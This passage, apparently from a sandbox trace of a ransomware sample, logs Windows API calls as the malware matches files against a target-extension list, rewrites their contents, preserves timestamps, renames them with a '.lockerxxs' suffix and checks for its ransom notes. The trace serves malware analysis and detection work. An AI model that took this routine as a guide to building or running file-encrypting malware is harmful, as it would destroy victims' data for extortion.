ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9e38920, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9e38920, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0134.059] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Net.Http.Rtc\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9e38920, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x62b6c400, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x62b6c400, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0134.062] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Net.Http.WebRequest\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9e84be0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9e84be0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9e84be0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0134.063] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Net.Http.WebRequest\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9e84be0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x68169ec0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x68169ec0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0134.614] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallCommon.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\installcommon.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallCommon.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\installcommon.sql.lockerxxs")) returned 1 [0134.691] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallMembership.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\installmembership.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallMembership.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\installmembership.sql.lockerxxs")) returned 1 [0135.358] GetFileSize (in: hFile=0x8c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xcc7b [0135.358] GetFileTime (in: hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xdfe82383, dwHighDateTime=0x1ca042b), lpLastAccessTime=0x407536*(dwLowDateTime=0xdfe82383, dwHighDateTime=0x1ca042b), lpLastWriteTime=0x40753e*(dwLowDateTime=0x9ef5233c, dwHighDateTime=0x1c9ea11)) returned 1 [0135.359] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0135.359] ReadFile (in: hFile=0x8c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xcc55, lpOverlapped=0x0) returned 1 [0135.369] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0135.370] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xcc55, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xcc55, lpOverlapped=0x0) returned 1 [0135.372] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0135.372] CloseHandle (hObject=0x8c) returned 1 [0135.372] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallPersistSqlState.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\installpersistsqlstate.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallPersistSqlState.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\installpersistsqlstate.sql.lockerxxs")) returned 1 [0135.396] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="InstallPersonalization.sql") returned -1 [0135.396] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="InstallPersonalization.sql") returned -1 [0135.396] lstrcmpiA (lpString1="", lpString2="InstallPersonalization.sql") returned -1 [0135.397] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.397] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.397] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.397] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="InstallPersonalization.sql" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallPersonalization.sql") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallPersonalization.sql" [0135.398] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallPersonalization.sql", pszSpec="*.ems") returned 0 [0135.398] lstrlenA (lpString="*.ems") returned 5 [0135.398] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallPersonalization.sql", pszSpec="*.db") returned 0 [0135.398] lstrlenA (lpString="*.db") returned 4 [0135.398] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallPersonalization.sql", pszSpec="*.dbf") returned 0 [0135.398] lstrlenA (lpString="*.dbf") returned 5 [0135.398] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallPersonalization.sql", pszSpec="*.myox") returned 0 [0135.398] lstrlenA (lpString="*.myox") returned 6 [0135.398] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallPersonalization.sql", pszSpec="*.myo") returned 0 [0135.398] lstrlenA (lpString="*.myo") returned 5 [0135.399] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallPersonalization.sql", pszSpec="*.qbw") returned 0 [0135.399] lstrlenA (lpString="*.qbw") returned 5 [0135.399] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallPersonalization.sql", pszSpec="*.qbb") returned 0 [0135.399] lstrlenA (lpString="*.qbb") returned 5 [0135.399] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallPersonalization.sql", pszSpec="*.qbm") returned 0 [0135.399] lstrlenA (lpString="*.qbm") returned 5 [0135.399] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallPersonalization.sql", pszSpec="*.qbo") returned 0 [0135.399] lstrlenA (lpString="*.qbo") returned 5 [0135.399] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallPersonalization.sql", pszSpec="*.qbx") returned 0 [0135.399] lstrlenA (lpString="*.qbx") returned 5 [0135.399] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallPersonalization.sql", pszSpec="*.qba") returned 0 [0135.399] lstrlenA (lpString="*.qba") returned 5 [0135.399] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallPersonalization.sql", pszSpec="*.qby") returned 0 [0135.399] lstrlenA (lpString="*.qby") returned 5 [0135.399] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallPersonalization.sql", pszSpec="*.qbj") returned 0 [0135.399] lstrlenA (lpString="*.qbj") returned 5 [0135.399] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallPersonalization.sql", pszSpec="*.ofx") returned 0 [0135.399] lstrlenA (lpString="*.ofx") returned 5 [0135.399] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallPersonalization.sql", pszSpec="*.qif") returned 0 [0135.399] lstrlenA (lpString="*.qif") returned 5 [0135.399] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallPersonalization.sql", pszSpec="*.mye") returned 0 [0135.400] lstrlenA (lpString="*.mye") returned 5 [0135.400] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallPersonalization.sql", pszSpec="*.mbox") returned 0 [0135.400] lstrlenA (lpString="*.mbox") returned 6 [0135.400] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallPersonalization.sql", pszSpec="*.eml") returned 0 [0135.400] lstrlenA (lpString="*.eml") returned 5 [0135.400] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallPersonalization.sql", pszSpec="*.pst") returned 0 [0135.400] lstrlenA (lpString="*.pst") returned 5 [0135.400] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallPersonalization.sql", pszSpec="*.ost") returned 0 [0135.400] lstrlenA (lpString="*.ost") returned 5 [0135.400] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallPersonalization.sql", pszSpec="*.idx") returned 0 [0135.400] lstrlenA (lpString="*.idx") returned 5 [0135.400] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallPersonalization.sql", pszSpec="*.dbx") returned 0 [0135.400] lstrlenA (lpString="*.dbx") returned 5 [0135.400] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallPersonalization.sql", pszSpec="*.sql") returned 1 [0135.400] lstrlenA (lpString="*.sql") returned 5 [0135.400] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallPersonalization.sql" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallPersonalization.sql") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallPersonalization.sql" [0135.400] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallPersonalization.sql" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallPersonalization.sql") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallPersonalization.sql" [0135.401] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallPersonalization.sql", lpString2="." | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallPersonalization.sql.") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallPersonalization.sql." [0135.401] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallPersonalization.sql.", lpString2="lockerxxs" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallPersonalization.sql.lockerxxs") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallPersonalization.sql.lockerxxs" [0135.401] CreateFileA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallPersonalization.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\installpersonalization.sql"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0135.404] GetFileSize (in: hFile=0x8c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x8886 [0135.404] GetFileTime (in: hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xdddc7797, dwHighDateTime=0x1ca042b), lpLastAccessTime=0x407536*(dwLowDateTime=0xdddc7797, dwHighDateTime=0x1ca042b), lpLastWriteTime=0x40753e*(dwLowDateTime=0x9ef9e5fc, dwHighDateTime=0x1c9ea11)) returned 1 [0135.404] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0135.404] ReadFile (in: hFile=0x8c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x8860, lpOverlapped=0x0) returned 1 [0135.464] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallPersonalization.sql") returned="InstallPersonalization.sql" [0135.465] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0135.465] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x8860, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x8860, lpOverlapped=0x0) returned 1 [0135.465] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0135.466] CloseHandle (hObject=0x8c) returned 1 [0135.466] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallPersonalization.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\installpersonalization.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallPersonalization.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\installpersonalization.sql.lockerxxs")) returned 1 [0135.467] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb8bc422, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdb8bc422, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x9f1ffbfc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x519b, dwReserved0=0xec0001ed, dwReserved1=0x4e00c4, cFileName="InstallProfile.SQL", cAlternateFileName="INB97C~1.SQL")) returned 1 [0135.468] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.468] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="InstallProfile.SQL") returned -1 [0135.468] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="InstallProfile.SQL") returned -1 [0135.468] lstrcmpiA (lpString1="", lpString2="InstallProfile.SQL") returned -1 [0135.468] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallPersonalization.sql") returned="InstallPersonalization.sql" [0135.468] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.468] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.468] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.468] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.468] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="InstallProfile.SQL" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallProfile.SQL") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallProfile.SQL" [0135.468] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallProfile.SQL", pszSpec="*.ems") returned 0 [0135.468] lstrlenA (lpString="*.ems") returned 5 [0135.468] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallProfile.SQL", pszSpec="*.db") returned 0 [0135.469] lstrlenA (lpString="*.db") returned 4 [0135.469] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallProfile.SQL", pszSpec="*.dbf") returned 0 [0135.469] lstrlenA (lpString="*.dbf") returned 5 [0135.469] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallProfile.SQL", pszSpec="*.myox") returned 0 [0135.469] lstrlenA (lpString="*.myox") returned 6 [0135.469] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallProfile.SQL", pszSpec="*.myo") returned 0 [0135.469] lstrlenA (lpString="*.myo") returned 5 [0135.469] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallProfile.SQL", pszSpec="*.qbw") returned 0 [0135.469] lstrlenA (lpString="*.qbw") returned 5 [0135.469] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallProfile.SQL", pszSpec="*.qbb") returned 0 [0135.469] lstrlenA (lpString="*.qbb") returned 5 [0135.469] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallProfile.SQL", pszSpec="*.qbm") returned 0 [0135.469] lstrlenA (lpString="*.qbm") returned 5 [0135.469] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallProfile.SQL", pszSpec="*.qbo") returned 0 [0135.469] lstrlenA (lpString="*.qbo") returned 5 [0135.469] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallProfile.SQL", pszSpec="*.qbx") returned 0 [0135.469] lstrlenA (lpString="*.qbx") returned 5 [0135.469] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallProfile.SQL", pszSpec="*.qba") returned 0 [0135.470] lstrlenA (lpString="*.qba") returned 5 [0135.470] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallProfile.SQL", pszSpec="*.qby") returned 0 [0135.470] lstrlenA (lpString="*.qby") returned 5 [0135.470] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallProfile.SQL", pszSpec="*.qbj") returned 0 [0135.470] lstrlenA (lpString="*.qbj") returned 5 [0135.470] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallProfile.SQL", pszSpec="*.ofx") returned 0 [0135.470] lstrlenA (lpString="*.ofx") returned 5 [0135.470] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallProfile.SQL", pszSpec="*.qif") returned 0 [0135.470] lstrlenA (lpString="*.qif") returned 5 [0135.470] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallProfile.SQL", pszSpec="*.mye") returned 0 [0135.470] lstrlenA (lpString="*.mye") returned 5 [0135.470] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallProfile.SQL", pszSpec="*.mbox") returned 0 [0135.470] lstrlenA (lpString="*.mbox") returned 6 [0135.470] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallProfile.SQL", pszSpec="*.eml") returned 0 [0135.470] lstrlenA (lpString="*.eml") returned 5 [0135.470] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallProfile.SQL", pszSpec="*.pst") returned 0 [0135.470] lstrlenA (lpString="*.pst") returned 5 [0135.470] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallProfile.SQL", pszSpec="*.ost") returned 0 [0135.470] lstrlenA (lpString="*.ost") returned 5 [0135.471] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallProfile.SQL", pszSpec="*.idx") returned 0 [0135.471] lstrlenA (lpString="*.idx") returned 5 [0135.471] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallProfile.SQL", pszSpec="*.dbx") returned 0 [0135.471] lstrlenA (lpString="*.dbx") returned 5 [0135.471] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallProfile.SQL", pszSpec="*.sql") returned 1 [0135.471] lstrlenA (lpString="*.sql") returned 5 [0135.471] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallProfile.SQL" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallProfile.SQL") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallProfile.SQL" [0135.471] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallProfile.SQL" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallProfile.SQL") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallProfile.SQL" [0135.471] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallProfile.SQL", lpString2="." | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallProfile.SQL.") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallProfile.SQL." [0135.471] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallProfile.SQL.", lpString2="lockerxxs" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallProfile.SQL.lockerxxs") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallProfile.SQL.lockerxxs" [0135.471] CreateFileA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallProfile.SQL" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\installprofile.sql"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0135.474] GetFileSize (in: hFile=0x8c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x519b [0135.474] GetFileTime (in: hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xdb8bc422, dwHighDateTime=0x1ca042b), lpLastAccessTime=0x407536*(dwLowDateTime=0xdb8bc422, dwHighDateTime=0x1ca042b), lpLastWriteTime=0x40753e*(dwLowDateTime=0x9f1ffbfc, dwHighDateTime=0x1c9ea11)) returned 1 [0135.474] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0135.474] ReadFile (in: hFile=0x8c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x5175, lpOverlapped=0x0) returned 1 [0135.519] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallProfile.SQL") returned="InstallProfile.SQL" [0135.519] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0135.519] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x5175, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x5175, lpOverlapped=0x0) returned 1 [0135.520] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0135.520] CloseHandle (hObject=0x8c) returned 1 [0135.520] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallProfile.SQL" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\installprofile.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallProfile.SQL.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\installprofile.sql.lockerxxs")) returned 1 [0135.522] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda7a075b, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xda7a075b, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x9f51f8dc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x85d8, dwReserved0=0xf00001f1, dwReserved1=0x4e00c4, cFileName="InstallRoles.sql", cAlternateFileName="IN0205~1.SQL")) returned 1 [0135.522] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.522] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="InstallRoles.sql") returned -1 [0135.522] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", 